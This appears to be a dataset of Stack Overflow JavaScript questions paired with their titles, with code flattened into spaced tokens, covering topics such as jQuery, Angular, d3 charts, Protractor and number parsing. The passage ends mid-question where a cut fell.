calling toFixed against a negative exponential number , the result is a number , not a string.First , let 's take a look at specs.Number.prototype.toFixed ( fractionDigits ) Return a String containing this Number value represented in decimal fixed-point notation with fractionDigits digits after the decimal point . If fractionDigits is undefined , 0 is assumed.What actually happens is ( tested in Chrome , Firefox , Node.js ) : So , the returned value is -3e5 . Also , notice this is not a string . It is a number : If I wrap the input in parentheses it works as expected : Why is this happening ? What is the explanation ? > -3e5.toFixed ( ) -300000 > x = -3e5.toFixed ( ) -300000 > typeof x'number ' > x = ( -3e5 ) .toFixed ( ) '-300000 ' > typeof x'string '",".toFixed ( ) called on negative exponential numbers returns a number , not a string" "JS : In my project , I used JSON to pass readed data from database to client side.In this code I put JSONObject in to JSONArray and pass to client side.This my code for JsonProcessing.java servlet : And this is my javascript code : I do n't know why I take duplicate same result in alert ? JSONObject obj = new JSONObject ( ) ; JSONArray objarr = new JSONArray ( ) ; //read from DBsql = `` SELECT id , name FROM test '' ; ResultSet rs = stmt.executeQuery ( sql ) ; while ( rs.next ( ) ) { // Retrieve by column name int id = rs.getInt ( `` id '' ) ; String first = rs.getString ( `` name '' ) ; obj.put ( `` name '' , first ) ; obj.put ( `` id '' , id ) ; objarr.add ( obj ) ; System.out.print ( `` \nobj : `` +obj ) ; } response.setContentType ( `` application/json '' ) ; response.setCharacterEncoding ( `` UTF-8 '' ) ; PrintWriter out = response.getWriter ( ) ; out.print ( objarr ) ; out.flush ( ) ; $ .ajax ( { url : `` /test/JsonProcessing '' , type : `` get '' , data : { id : 30 } , success : function ( info ) { //alert ( info.name ) ; console.log ( info ) ; for ( var i = 0 ; i < info.length ; i++ ) { alert ( i + `` : `` + info [ i ] .name + `` `` + info [ i ] .id ) ; } // data : return data from server } , error : function ( ) { alert ( 'Faild ' ) ; // if fails } } ) ;",JSONArray duplicate same result "JS : I noticed that if I try to create an object with a key name that leads with a numeric value , an error is thrown ( which goes along with JavaScript naming outlined here : What characters are valid for JavaScript variable names ? ) . However , I noticed that I can still add such a variable name dynamically if I do so Fails : Fails : Succeeds : Why is that ? object.1foo = `` bar '' ; object = { 1foo : `` bar '' } object [ `` 1foo '' ] = bar ;",Dynamically adding a variable whose name leads with a numeric value "JS : I have a div inside a parent div that users can drag from dropbox to final_dest . Users can also create new items with a button click . The button click appends the new div to dropbox.If a user drags item_1 to another container , how can i remove it from dropbox and put it in final_dest ? I have tried using detach but can not figure out how to remove it from dropbox div . The problem is if a user drags item_1 to final_dest , and then creates a new item_2 div , it appears below item_1 's spot in dropbox . i am trying to get it to appear where item_1 did . It does this , because item_1 is not removed from dropbox . < div id= ' # dropbox ' > < div id='item_1 ' > Some Item < /div > < /div > < div id='final_dest ' > < /div > $ ( ' # item_'+a ) .draggable ( { // make this whole damn thing draggable drag : function ( event ) { helper : '' clone '' , jsPlumb.repaintEverything ( ) ; } , stop : function ( event , ui ) { $ ( 'this ' ) .detach ( ' # dropbox ' ) ; $ ( 'this ' ) .append ( 'final_dest ' ) ; } } ) ;",Jquery draggable attach to new container "JS : I use the following javascript class to pull variables out of a query string : So this works : http : //example.com/signinup.html ? opt=loginI need http : //www.example.com/login/ to work the same way . Using mod_rewrite : RewriteRule ^login/ ? signinup.html ? opt=login [ QSA ] allows the page to load , the javascript to load , the css to load , but my javascript functions ca n't find the opt key ( i.e. , it 's undefined ) . How do I get opt to my javascript ? getUrlVars : function ( ) { var vars = { } ; var parts = window.location.href.replace ( / [ ? & ] + ( [ ^= & ] + ) = ( [ ^ & ] * ) /gi , function ( m , key , value ) { vars [ key ] = value ; } ) ; return vars ; }",Javascript ca n't find my mod_rewrite query string ! "JS : I want to know if there is a better way to define callback functions of angular 2 observable subscribe when dealing with http calls without violating Single responsibility principle when it comes to embedded logic witch leads to an ugly dirty code . I am trying to use function variables instead of arrow functions to separate callbacks logic but I ca n't access this and local function variables ( state in the example ) . updateState ( state : string ) { let proposition = new Proposition ( ) ; proposition.id = this.id ; proposition.state = state ; this.propositionService.updateProposition ( proposition ) .subscribe ( ( data ) = > { ... . // instruction using local variable this.router.navigate ( [ '/portfolio ' , state ] ) ; ... . } , ... .. // instrution using this ( errors ) = > this.toastr.warning ( 'Error . ' , 'ops ! ' ) ; ... .. }",Angular 2 observable subscribe arrow functions getting big and dirty "JS : I updated to Firefox 40 today , and I see a neat new message in my Firebug console : ... where itemName is the name of a particular item I 've stuck in localStorage.The referenced line number is always unhelpful : the last one of the main HTML document ( it is a single-page app ) .Why does this happen ? If you 'd like an example of my `` hi-entropy localStorage '' , here are the data in question : Found hi-entropy localStorage : 561.0263282209031 bits http : //localhost:8080/my_app_path itemName Object { id : `` c9796c88-8d22-4d33-9d13-dcfdf4bc879a '' , userId : 348 , userName : `` admin '' }",Firefox 40+ : what does the `` Found hi-entropy localStorage '' message mean ? "JS : Sorry if my question is silly , but we are facing a latency issue in our application.KEYPRESS event handler is the culprit . We are using this below directive in the entire application . It checks KeyPress through HostListener . When key pressed , this directive checks the value with regexp and does preventDefault if condition is false.I am not sure how to fix this issue . Will debounceTime fix this issue ? I am not sure how to add debounce to this method . Please someone help me to solve this issue . private regexMap = { // add your own '999 ' : /^ ( [ 0-9 ] ) { 0,3 } $ /g , '9999 ' : /^ ( [ 0-9 ] ) { 0,4 } $ /g , ... ... } @ HostListener ( 'keypress ' , [ ' $ event ' ] ) public nInput ( event : KeyboardEvent ) { // Allow Backspace , tab , end , and home keys if ( this.specialKeys.indexOf ( event.key ) ! == -1 ) { return ; } this.pattern = this.regexMap [ this.validationFormat ] ; const current : string = this.el.nativeElement.value ; const next : string = current.concat ( event.key ) ; if ( next & & ! String ( next ) .match ( this.pattern ) ) { event.preventDefault ( ) ; } }",Event handler performance issue in Angular 4 / 5 "JS : Prompt as it is possible to translate a string to number so that only any variant except for the integer produced an error.ParseInt does not work , because it does not work correctly.And most importantly : for the function to work in IE , Chrome and other browsers ! ! ! func ( '17 ' ) = 17 ; func ( '17.25 ' ) = NaNfunc ( ' 17 ' ) = NaNfunc ( '17test ' ) = NaNfunc ( `` ) = NaNfunc ( '1e2 ' ) = NaNfunc ( '0x12 ' ) = NaN ParseInt ( '17 ' ) = 17 ; ParseInt ( '17.25 ' ) = 17 // incorrectParseInt ( ' 17 ' ) = NaNParseInt ( '17test ' ) = 17 // incorrectParseInt ( `` ) = NaNParseInt ( '1e2 ' ) = 1 // incorrect",Parse an integer ( and *only* an integer ) in JavaScript "JS : So I 'm learning Javascript and all its ' prototype goodness , and I am stumped over the following : Say I have thisNow how do I create a Cat constructor function that inherits from the Animal constructor function such that I do n't have to type the super long arguments again ? In other words I do n't want to be doing this : Thanks in advance ! j var Animal = function ( a , b , c , d , e , f , g , h , i , j , k , l , m , n ) { this.a = a ; this.b = b ; // ... etc ... } ; var x = new Animal ( 1,2,3 ... . ) ; var Cat = function ( a , b , c , d , e , f , g , h , i , j , k , l , m , n ) { this.a = a ; this.b = b ; // ... etc ... } ; // inherit functions if anyCat.prototype = new Animal ; var y = new Cat ( 1,2,3 ... . ) ;",How to get a constructor function to inherit from a constructor function in Javascript ? "JS : I 'm making a responsive menu following this guide http : //demos.inspirationalpixels.com/responsive-menu/ everything 's working fine when the width is less than 980px , the menu ( the three dash ) is showing but not opening.What am I doing wrong ? Can anyone tell me ? It 's not working on my website : Here 's my HTML Code jQuery ( document ) .ready ( function ( ) { jQuery ( '.toggle-nav ' ) .click ( function ( e ) { jQuery ( this ) .toggleClass ( 'active ' ) ; jQuery ( '.menu ul ' ) .toggleClass ( 'active ' ) ; e.preventDefault ( ) ; } ) ; } ) ; body { margin : 0 ; padding : 0 ; background-image : url ( `` img-bg-mobile.jpg '' ) ; background-repeat : no-repeat ; font-family : open sans ; } .toggle-nav { display : none ; } @ media screen and ( min-width : 1000px ) { nav { height : auto ; width : auto ; margin-left:17 % ; } nav ul { list-style : none ; margin:0px ; padding:0px ; } nav ul li { float : left ; margin : 2 % ; } nav ul li a { transition : all linear 0.15s ; text-decoration : none ; font-family : open sans ; color : white ; font-size : 1.5em ; text-align : center ; } nav ul li a : hover { color : black ; } nav ul li ul { display : none ; } nav ul li ul a { color : # ff3c1f ; } nav ul li : hover ul { display : block ; height : auto ; width : 110px ; position : absolute ; margin:0 ; } } @ media screen and ( max-width : 980px ) { .menu { position : relative ; display : inline-block ; } .menu ul { width:100 % ; position : absolute ; top:120 % ; left:0px ; padding:10px 18px ; box-shadow:0px 1px 1px rgba ( 0,0,0,0.15 ) ; border-radius:3px ; background : # 303030 ; } .menu ul.active { display : none ; } .menu ul : after { width:0px ; height:0px ; position : absolute ; top:0 % ; left:22px ; content : '' ; transform : translate ( 0 % , -100 % ) ; border-left:7px solid transparent ; border-right:7px solid transparent ; border-bottom:7px solid # 303030 ; } .menu li { margin:5px 0px 5px 0px ; float : none ; display : block ; } .menu a { display : block ; } .toggle-nav { padding:20px ; float : left ; display : inline-block ; box-shadow:0px 1px 1px rgba ( 0,0,0,0.15 ) ; border-radius:3px ; background : # 303030 ; text-shadow:0px 1px 0px rgba ( 0,0,0,0.5 ) ; color : # 777 ; font-size:20px ; transition : color linear 0.15s ; } .toggle-nav : hover , .toggle-nav.active { text-decoration : none ; color : # 66a992 ; } } article { clear : both ; font-family : open sans ; font-size : 1em ; } article p { color : white ; margin-left : 10 % ; margin-right : 10 % ; } footer { color : white ; margin-left : 10 % ; margin-right : 10 % ; } .arrow { font-size : 11px ; margin-left : 1px ; } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < ! DOCTYPE html > < html > < head > < meta charset= '' utf-8 '' > < meta name= '' description '' content= '' Yoo Free Recharge App That gives talktime for trying out cool appps '' > < meta http-equiv= '' X-UA-Compatible '' content= '' IE=edge '' > < meta name= '' viewport '' content= '' width=device-width , initial-scale=1 '' maximum-scale=2.0 '' > < title > Yoo Get Free Recharge < /title > < link href='https : //fonts.googleapis.com/css ? family=Open+Sans ' rel='stylesheet ' type='text/css ' > < link href= '' styles.css '' rel= '' stylesheet '' type= '' text/css '' > < /head > < body > < ! -- header start from here -- > < header > < nav class= '' menu '' > < ul class= '' active '' > < li class=logo > < a href= '' http : //freers250.com '' > < img class=yoologo src= '' yoosmall.png '' title= '' Yoo Get Free Recharge '' > < /a > < /li > < li class= '' mainmenu '' > < a href= '' http : //getfr.free250rs.com '' title= '' Home '' > HOME < /a > < /li > < li class= '' mainmenu '' > < a href= '' http : //yoo.com/advertise '' title= '' Advertise '' > ADVERTISE < /a > < /li > < li id= '' mainmenu '' class= '' sub-menu '' > < a href= '' http : //theyoo.com/whoweare '' title= '' Who we are '' > WHO WE ARE < span class= '' arrow '' > & # 9660 ; < /span > < /a > < ul > < li > < a href= '' # '' > About Us < /a > < /li > < li > < a href= '' # '' > Vision < /a > < /li > < li > < a href= '' # '' > Team < /a > < /li > < /ul > < /li > < li class= '' mainmenu '' > < a href= '' http : //theyoo.com/pricing '' title= '' pricing '' > PRICING < /a > < /li > < li class= '' mainmenu '' > < a href= '' http : //theyoo.com/contact '' title= '' Who we are '' > CONTACT < /a > < /li > < /ul > < a class= '' toggle-nav '' href= '' # '' > & # 9776 < /a > < /nav > < /header > < article > < p > Yoo Free Recharge App - Yoo is an app that gives free recharge/talktime for trying out new and cool apps you can also refer your friends and get money for that too you can get upto 125Rs . Per Friend < a href= '' https : //play.google.com/store/apps/details ? id=com.freerechargeapp.free250rs.free_recharge_app '' title= '' Yoo Free Recharge App '' target= '' _blank '' > Download Now < /a > < /p > < /article > < footer > < div style= '' font-family : 'open sans ' ; '' > & copy ; Yoo Infotech . All right reserved . < /div > < /footer > < script src= '' //ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js '' > < /script > < script src= '' script.js '' > < /script > < /body > < /html >","Creating A Responsive Menu with HTML , CSS & jQuery" "JS : I am using regex to replace ( in other regexes ( or regexs ? ) with ( ? : to turn them into non-matching groups . My expression assumes that no ( ? X structures are used and looks like this : Unfortunatelly this does n't work in case that there are two matches next to each other , like in this case : how ( ( \s+can|\s+do ) ( \s+i ) ? ) ? With lookbehinds , the solution is easy : But javascript does n't support lookbehinds , so what can I do ? My searches did n't bring any easy universal lookbehind alternative . ( [ ^\\ ] - Not backslash character |^ - Or string beginning ) ( ? : [ \ ( ] - a bracket ) / ( ? < = [ ^\\ ] |^ ) [ \ ( ] /g",Replace all character matches that are not escaped with backslash "JS : No matter what I do , after building my project I keep getting the following error : Which is exactly right seeing that my project creates a polyfills-es5.e1bdcd70857e70f37509 file and a polyfills-es2015.25bfed26497f24d6d1d7 file.This is in a nx workspace project that I created yesterdayAfter every build the file names obviously changes , but it keeps looking for a mixed es5-es2015 polyfills file.The stats file gets created as stats-es2015.json and our package.json settings is : `` bundle-report '' : `` webpack-bundle-analyzer dist/apps/ < project-name > /stats-es2015.json '' I keep getting the error with default build or production , with ivy enabled or disabled , and I eve tried to remove the es5BrowserSupport flag , hoping there will only be one polyfills file , but it is still looking for es5-es2015 file ... Error parsing bundle asset `` < path-to-project > \polyfills-es5-es2015.e1bdcd70857e70f37509.js '' : no such fileevents.js:174",angular 8 webpack-bundle-analyzer looking for wrong polyfill files "JS : I 've been using react-navigation for almost half a year , but I still do n't understand the nesting part of it . How the navigation prop is inherited , how to communicate , etc..I created a demo on snack , from the redux example app.DemoI 'd like to understand these : What happens with the navigation prop if I navigate to a child navigator ? How to navigate from a child navigators screen to the parents screen or the parents other child 's screenHow to remove a child navigator from the state ? The simplest example : On a login event I reset the navigator with the Main StackNavigator.The problem with this is , that I have to rebuild manually the whole Main state.It would be much easier If I could just remove somehow the Auth StackNavigator and keep the Main Stack.Is it possible to trigger redux event with the child navigators navigate actions ? I wrapped the Main navigation ( StackNavigator ) component with a redux component as the doc says . It works fine until I navigate into a child component . The navigation props niavigate method stops dispatching redux actions.This , I could n't recreate in the demoI have a Component and a DrawerNavigator inside a StackNavigator.If i navigate into the DrawerNavigator ( there is only 1 screen there ) from the Component , I ca n't go back to that Component with this : The odd part is that its only impossible inside the screen 's component . From the screen 's header component its working . this.props.navigation.goBack ( )",React Navigation understanding navigator nestings "JS : Like everyone else I 'm storing my site ` s display information in style sheet files . And I want to create back-end cms so users will be able to , for example , change < h1 > color , size etc.So , what 's the right way to embed PHP code in my CSS file ( s ) ? Is adding this header : And changing file extension in link : Valid ? And what about JavaScript ? At this moment I 'm echoing < script type= '' text/javascript '' > tags , but maybe there 's also a way to embed everything in the .js files ? Thanks ! < ? php header ( `` Content-type : text/css '' ) ; ? > < link rel= '' stylesheet '' type= '' text/css '' media= '' screen '' href= '' style.php '' >",What ’ s the right way to embed PHP code in my CSS and JavaScript files ? "JS : I am using same form and same state in redux for add and edit . When I call api for fetching data for edit and we change our router to add form before the response arrives . All the form datas will be auto filled for add item since i am using same state for both add and edit . Is there any way to prevent this from happening ? my action creator : As response is late then selectItem is dispatched late . And when I open form for adding item then this form is filled with this data from response . fetchById : function ( entity , id ) { return function ( dispatch ) { dispatch ( apiActions.apiRequest ( entity ) ) ; return ( apiUtil.fetchById ( entity , id ) .then ( function ( response ) { dispatch ( apiActions.apiResponse ( entity ) ) ; dispatch ( actions.selectItem ( entity , response.body ) ) ; } } }",Can we cancel out api response when the react router is changed ? "JS : From the selected answer in this SO-question this very ingenious function creates an Array with a range from 1 to i : It works perfect . Call me stupid , but I just ca n't get my head around how it works . Let 's say we have range1 ( 5 ) . Now entering the function , we have i , so it returns itself with parameter i-1 ( 4 ) and concats i ( 5 ) to it . But here I 'm stuck : how does range1 know it has to do with an Array ? I 'd say after the first run the return value ( as long as we have i , so i ! ==0 ) would be a Number . And Number has no concat method . Can someone explain this ? What am I missing ? function range1 ( i ) { return i ? range1 ( i-1 ) .concat ( i ) : [ ] }",How can this recursive function for creating a range work ? "JS : Is is possible ( cross-browser compatible ) to CANCEL a keystroke after a user has made it ( for example on a textbox ) The code I currently use edits the textbox value after the keystroke has been displayed : $ ( '.number ' ) .keypress ( function ( ) { this.value = this.value.replace ( / [ ^0-9\ . ] /g , `` ) ; } ) ;",Cancel a keystroke in jQuery "JS : I need a responsive image grid that we can zoom on each image and all the other images should rearrange automatically on the empty spaces.I 've come to a solution which works partially : But some items break the grid , only 1 , 4 and 7 work properly.JSFiddle exampleI 've come to another solution which is the gridly plugin . But I 'm not able to make it responsive.How can I make this work ? $ ( document ) .ready ( function ( ) { $ ( `` # wrapper div '' ) .click ( function ( ) { if ( $ ( this ) .siblings ( ) .hasClass ( 'expanded ' ) ) { $ ( this ) .siblings ( ) .removeClass ( 'expanded ' ) ; } $ ( this ) .addClass ( 'expanded ' ) ; } ) ; } ) ; .wrapper { width:100 % ; margin:0 auto ; } .wrapper div { width:31 % ; margin:1 % ; float : left ; -webkit-transition : width 1s ; transition : width 1s ; } .expanded { width:64 % ! important ; } img { width:100 % ; } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/1.9.0/jquery.min.js '' > < /script > < div class= '' wrapper '' id= '' wrapper '' > < div > < img src= '' http : //i.imgur.com/m9kLJMi.jpg '' > < /div > < div > < img src= '' http : //i.imgur.com/1fR1mQQ.jpg '' > < /div > < div > < img src= '' http : //i.imgur.com/CFf5bbM.jpg '' > < /div > < div > < img src= '' http : //i.imgur.com/3U2gd7I.jpg '' > < /div > < div > < img src= '' http : //i.imgur.com/N4pFnCE.jpg '' > < /div > < div > < img src= '' http : //i.imgur.com/q81AaCs.jpg '' > < /div > < div > < img src= '' http : //i.imgur.com/wjjhTtW.jpg '' > < /div > < div > < img src= '' http : //i.imgur.com/9fifhrM.jpg '' > < /div > < div > < img src= '' http : //i.imgur.com/gz5Qdv6.jpg '' > < /div > < /div >",Responsive grid with zoom on items "JS : I am trying to initialize foundation tool-tip without initializing everything ( i.e . $ ( document ) .foundation ( ) ) and I am failing in this simple task.I am wondering ( 1 ) How to use new Foundation.Tooltip instead ( 2 ) do I need modernizr because documentation in foundation website did not mention modernizr as a requirement.I mentioned modernizr because without that tool-tip would not have any styles nor html inside that would show.Thank you < ! DOCTYPE html > < meta name= '' robots '' content= '' noindex '' > < html > < head > < meta charset= '' utf-8 '' > < meta name= '' viewport '' content= '' width=device-width '' > < title > JS Bin < /title > < /head > < ! -- < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/modernizr/2.8.3/modernizr.min.js '' > < /script > -- > < script src= '' https : //code.jquery.com/jquery-2.2.4.min.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/foundation/6.3.1/js/foundation.js '' > < /script > < link rel= '' stylesheet '' type= '' text/css '' href= '' https : //cdnjs.cloudflare.com/ajax/libs/foundation/6.3.1/css/foundation.css '' / > < body > < div class= '' row '' > < span class= '' has-tip '' title= '' Tooltips are awesome , you < a > link < /a > totally use them ! `` > Hover me < /span > < /div > < script id= '' jsbin-javascript '' > $ ( document ) .ready ( function ( ) { new Foundation.Tooltip ( $ ( `` .has-tip '' ) , { allowHtml : true } ) ; // $ ( document ) .foundation ( ) ; } ) < /script > < /body > < /html >",Foundation tool-tip ` without $ ( document ) .foundation ( ) ; ` and ` modernizr ` "JS : i 'm trying to put a random integer in my ng-src path , like that : And here 's my basic function in my controller : The images are displayed but in the console i have this error : I found many questions on that here in stackoverflow but i still ca n't get rid of that error . Thanks for your help . < div ng-repeat= '' user in users '' > < img ng-src= '' { { randomPicture ( ) } } '' alt= '' '' > < /div > $ scope.randomPicture = function ( ) { var PATH = 'assets/images/ ' ; var image = Math.floor ( ( Math.random ( ) * 12 ) + 1 ) ; var ext = '.jpg ' ; var randomPic = PATH + image + ext ; return randomPic ; } ; Error : [ $ rootScope : infdig ] 10 $ digest ( ) iterations reached . Aborting !",Angular - Error : 10 $ digest ( ) iterations reached . Aborting "JS : I 'm making a blog in which the results of a search for articles will be contained in divs . The layout of my website is all horizontal ( i.e . the articles scroll horizontally ) .Making a single line of divs is easy but that not what I want . It will be easier if I explain with a diagram . Here 's how I want the divs to be : But if the window is taller then there 's more space vertically , which should give : This is what I mean by horizontal wrapping . In short , the divs take as much vertical space as then can before occupying a new column.I was hoping this was possible with pure html/css but I 'm having a feeling that it 's not possible without a little bit of javascript . ______________ ______________ ______________| Div 1 | | Div 4 | | Div 7 ||______________| |______________| |______________| ______________ ______________ ______________| Div 2 | | Div 5 | | Div 8 ||______________| |______________| |______________| ______________ ______________ | Div 3 | | Div 6 ||______________| |______________| ______________ ______________ | Div 1 | | Div 5 ||______________| |______________| ______________ ______________ | Div 2 | | Div 6 ||______________| |______________| ______________ ______________ | Div 3 | | Div 7 ||______________| |______________| ______________ ______________| Div 4 | | Div 8 ||______________| |______________|",Get divs to wrap horizontally "JS : I have a d3 chart displaying three lines , where each line has its own y-axis . It also has a x-axis for displaying time . All axes has zoom / pan on them . This works fine for displaying historic data , but I also need a button to start displaying real time data . I have a button triggering SignalR , which again gives me new data that I can push onto my data arrays . My question is how I can update these three lines and move them in a horizontal direction every time the arrays are updated with the new data values.I 've tried following this and this guide , but all I really end up doing is redrawing the entire line on top of the old one . ( I 'm only trying to update one of them at the moment ) Before displaying my chart code , I should mention that my array is updated every second with new values ( This happens in a separate js file , included in the same view ) : I do realise that it 's not coming out right , but I ca n't seem to figure out how to append the new values to the end of the drawn line and move it . speed.push ( entry.Speed ) ; redraw ( ) ; < script > /* d3 vars */ var graph ; var m = [ ] ; var w ; var h ; /* d3 scales */ var x ; var y1 ; var y2 ; var y3 ; /* d3 axes */ var xAxis ; var yAxisLeft ; var yAxisLeftLeft ; var yAxisRight ; /* d3 lines */ var line1 ; var line2 ; var line3 ; /* d3 zoom */ var zoom ; var zoomLeftLeft ; var zoomRight ; /* Data */ var speed = [ ] ; var depth = [ ] ; var weight = [ ] ; var timestamp = [ ] ; var url = ' @ Url.Action ( `` DataBlob '' , `` Trend '' , new { id = Model.Unit.UnitId , runId = Request.Params [ `` runId '' ] } ) ' ; var data = $ .getJSON ( url , null , function ( data ) { var list = JSON.parse ( data ) ; var format = d3.time.format ( `` % Y- % m- % dT % H : % M : % S '' ) .parse ; if ( $ ( `` # IsLiveEnabled '' ) .val ( ) ! = `` true '' ) { list.forEach ( function ( d ) { speed.push ( d.Speed ) ; depth.push ( d.Depth ) ; weight.push ( d.Weight ) ; var date = format ( d.Time ) ; d.Time = date ; timestamp.push ( d.Time ) ; } ) ; } $ ( ' # processing ' ) .hide ( ) ; m = [ 20 , 85 , 30 , 140 ] ; // margins : top , right , bottom , left w = ( $ ( `` # trendcontainer '' ) .width ( ) - 35 ) - m [ 1 ] - m [ 3 ] ; // width h = 600 - m [ 0 ] - m [ 2 ] ; // height x = d3.time.scale ( ) .domain ( d3.extent ( timestamp , function ( d ) { return d ; } ) ) .range ( [ 0 , w ] ) ; y1 = d3.scale.linear ( ) .domain ( [ 0 , d3.max ( speed ) ] ) .range ( [ h , 0 ] ) ; y2 = d3.scale.linear ( ) .domain ( [ 0 , d3.max ( depth ) ] ) .range ( [ h , 0 ] ) ; y3 = d3.scale.linear ( ) .domain ( [ 0 , d3.max ( weight ) ] ) .range ( [ h , 0 ] ) ; line1 = d3.svg.line ( ) .interpolate ( `` basis '' ) .x ( function ( d , i ) { return x ( timestamp [ i ] ) ; } ) .y ( function ( d ) { return y1 ( d ) ; } ) ; line2 = d3.svg.line ( ) .interpolate ( `` basis '' ) .x ( function ( d , i ) { return x ( timestamp [ i ] ) ; } ) .y ( function ( d ) { return y2 ( d ) ; } ) ; line3 = d3.svg.line ( ) .interpolate ( `` basis '' ) .x ( function ( d , i ) { return x ( timestamp [ i ] ) ; } ) .y ( function ( d ) { return y3 ( d ) ; } ) ; zoom = d3.behavior.zoom ( ) .x ( x ) .y ( y1 ) .scaleExtent ( [ 1 , 35 ] ) .on ( `` zoom '' , zoomed ) ; zoomLeftLeft = d3.behavior.zoom ( ) .x ( x ) .y ( y3 ) .scaleExtent ( [ 1 , 35 ] ) .on ( `` zoom '' , zoomed ) ; zoomRight = d3.behavior.zoom ( ) .x ( x ) .y ( y2 ) .scaleExtent ( [ 1 , 35 ] ) .on ( `` zoom '' , zoomed ) ; // Add an SVG element with the desired dimensions and margin . graph = d3.select ( `` .panel-body '' ) .append ( `` svg : svg '' ) .attr ( `` width '' , w + m [ 1 ] + m [ 3 ] ) .attr ( `` height '' , h + m [ 0 ] + m [ 2 ] ) .call ( zoom ) .append ( `` svg : g '' ) .attr ( `` transform '' , `` translate ( `` + m [ 3 ] + `` , '' + m [ 0 ] + `` ) '' ) ; graph.append ( `` defs '' ) .append ( `` clipPath '' ) .attr ( `` id '' , `` clip '' ) .append ( `` rect '' ) .attr ( `` width '' , w ) .attr ( `` height '' , h ) ; // create xAxis xAxis = d3.svg.axis ( ) .scale ( x ) .tickSize ( -h ) .tickSubdivide ( false ) ; // Add the x-axis . graph.append ( `` svg : g '' ) .attr ( `` class '' , `` x axis '' ) .attr ( `` transform '' , `` translate ( 0 , '' + h + `` ) '' ) .call ( xAxis ) ; // create left yAxis yAxisLeft = d3.svg.axis ( ) .scale ( y1 ) .ticks ( 10 ) .orient ( `` left '' ) ; // Add the y-axis to the left graph.append ( `` svg : g '' ) .attr ( `` class '' , `` y axis axisLeft '' ) .attr ( `` transform '' , `` translate ( -25,0 ) '' ) .call ( yAxisLeft ) .append ( `` text '' ) .attr ( `` transform '' , `` rotate ( -90 ) '' ) .attr ( `` y '' , 5 ) .attr ( `` dy '' , `` .71em '' ) .style ( `` text-anchor '' , `` end '' ) .text ( `` Speed ( m/min ) '' ) ; // create leftleft yAxis yAxisLeftLeft = d3.svg.axis ( ) .scale ( y3 ) .ticks ( 10 ) .orient ( `` left '' ) ; // Add the y-axis to the left graph.append ( `` svg : g '' ) .attr ( `` class '' , `` y axis axisLeftLeft '' ) .attr ( `` transform '' , `` translate ( -85,0 ) '' ) .call ( yAxisLeftLeft ) .append ( `` text '' ) .attr ( `` transform '' , `` rotate ( -90 ) '' ) .attr ( `` y '' , 5 ) .attr ( `` dy '' , `` .71em '' ) .style ( `` text-anchor '' , `` end '' ) .text ( `` Weight ( kg ) '' ) ; // create right yAxis yAxisRight = d3.svg.axis ( ) .scale ( y2 ) .ticks ( 10 ) .orient ( `` right '' ) ; // Add the y-axis to the right graph.append ( `` svg : g '' ) .attr ( `` class '' , `` y axis axisRight '' ) .attr ( `` transform '' , `` translate ( `` + ( w + 25 ) + `` ,0 ) '' ) .call ( yAxisRight ) .append ( `` text '' ) .attr ( `` transform '' , `` rotate ( -90 ) '' ) .attr ( `` y '' , -15 ) .attr ( `` dy '' , `` .71em '' ) .style ( `` text-anchor '' , `` end '' ) .text ( `` Depth ( m ) '' ) ; graph.append ( `` svg : path '' ) .attr ( `` d '' , line1 ( speed ) ) .attr ( `` class '' , `` y1 '' ) .attr ( `` clip-path '' , `` url ( # clip ) '' ) ; graph.append ( `` svg : path '' ) .attr ( `` d '' , line2 ( depth ) ) .attr ( `` class '' , `` y2 '' ) .attr ( `` clip-path '' , `` url ( # clip ) '' ) ; graph.append ( `` svg : path '' ) .attr ( `` d '' , line3 ( weight ) ) .attr ( `` class '' , `` y3 '' ) .attr ( `` clip-path '' , `` url ( # clip ) '' ) ; } ) ; function redraw ( ) { graph.append ( `` svg : path '' ) .attr ( `` d '' , line1 ( speed ) ) .attr ( `` class '' , `` y1 '' ) .attr ( `` clip-path '' , `` url ( # clip ) '' ) ; } function zoomed ( ) { zoomRight.scale ( zoom.scale ( ) ) .translate ( zoom.translate ( ) ) ; zoomLeftLeft.scale ( zoom.scale ( ) ) .translate ( zoom.translate ( ) ) ; graph.select ( `` .x.axis '' ) .call ( xAxis ) ; graph.select ( `` .y.axisLeft '' ) .call ( yAxisLeft ) ; graph.select ( `` .y.axisLeftLeft '' ) .call ( yAxisLeftLeft ) ; graph.select ( `` .y.axisRight '' ) .call ( yAxisRight ) ; graph.select ( `` .x.grid '' ) .call ( make_x_axis ( ) .tickFormat ( `` '' ) ) ; graph.select ( `` .y.axis '' ) .call ( make_y_axis ( ) .tickSize ( 5 , 0 , 0 ) ) ; graph.selectAll ( `` .y1 '' ) .attr ( `` d '' , line1 ( speed ) ) ; graph.selectAll ( `` .y2 '' ) .attr ( `` d '' , line2 ( depth ) ) ; graph.selectAll ( `` .y3 '' ) .attr ( `` d '' , line3 ( weight ) ) ; } ; var make_x_axis = function ( ) { return d3.svg.axis ( ) .scale ( x ) .orient ( `` bottom '' ) .ticks ( 10 ) ; } ; var make_y_axis = function ( ) { return d3.svg.axis ( ) .scale ( y1 ) .orient ( `` left '' ) .ticks ( 10 ) ; } ; < /script >",Continuously updating lines in a d3 chart based on SignalR input "JS : Is there any way to determine what Protractor 's browser.waitForAngular ( ) is getting stuck on ? My Protractor test basically loads the page , clicks on an element , and then waits for a new page to load . I 'm getting the `` Timed out waiting for Protractor to synchronize with the page after 11 seconds , '' error ; however , I do n't use $ timeout , and can see that there are no outstanding http requests in my browser 's Developer Console . I can manually reproduce the same steps as my test in my browser , and run and see that the page is , in fact , stable within 1 second of loading.If I write a protractor test that loads the first page , and then uses browser.get ( 'index.html # second-page ' ) , the test passes.I am aware that I can set ignoreSerialization on Protractor , but honestly , I 'd rather not , because I 'm concerned that there is some insidious bug in my Angular project . Are there any steps I can take to get a deeper look at what 's going on in Protractor ? angular.getTestability ( document.body ) .whenStable ( function ( ) { console.log ( `` holla '' ) } )",Tell what protractor 's waitForAngular is stuck on ? "JS : I was reading Chapter 2 : this All Makes Sense Now ! from You Do n't Know JS , and decided to do this experiment.I have this simple enough script foo.js : I am expecting following things when getA ( ) is called : Since the call site of getA is in global scope , getA ( ) will be bound to global object.Since var a is declared in global scope , I take it that global object will have a property named a , and this property is same as the variable a.Because of that , I expect this.a to refer to variable a.Thus I expect output ( foo ) to print the string foo.However , when run in Node.js ( non-strict mode ) , this is the output : Then I included the same script in a simple HTML page , and loaded it 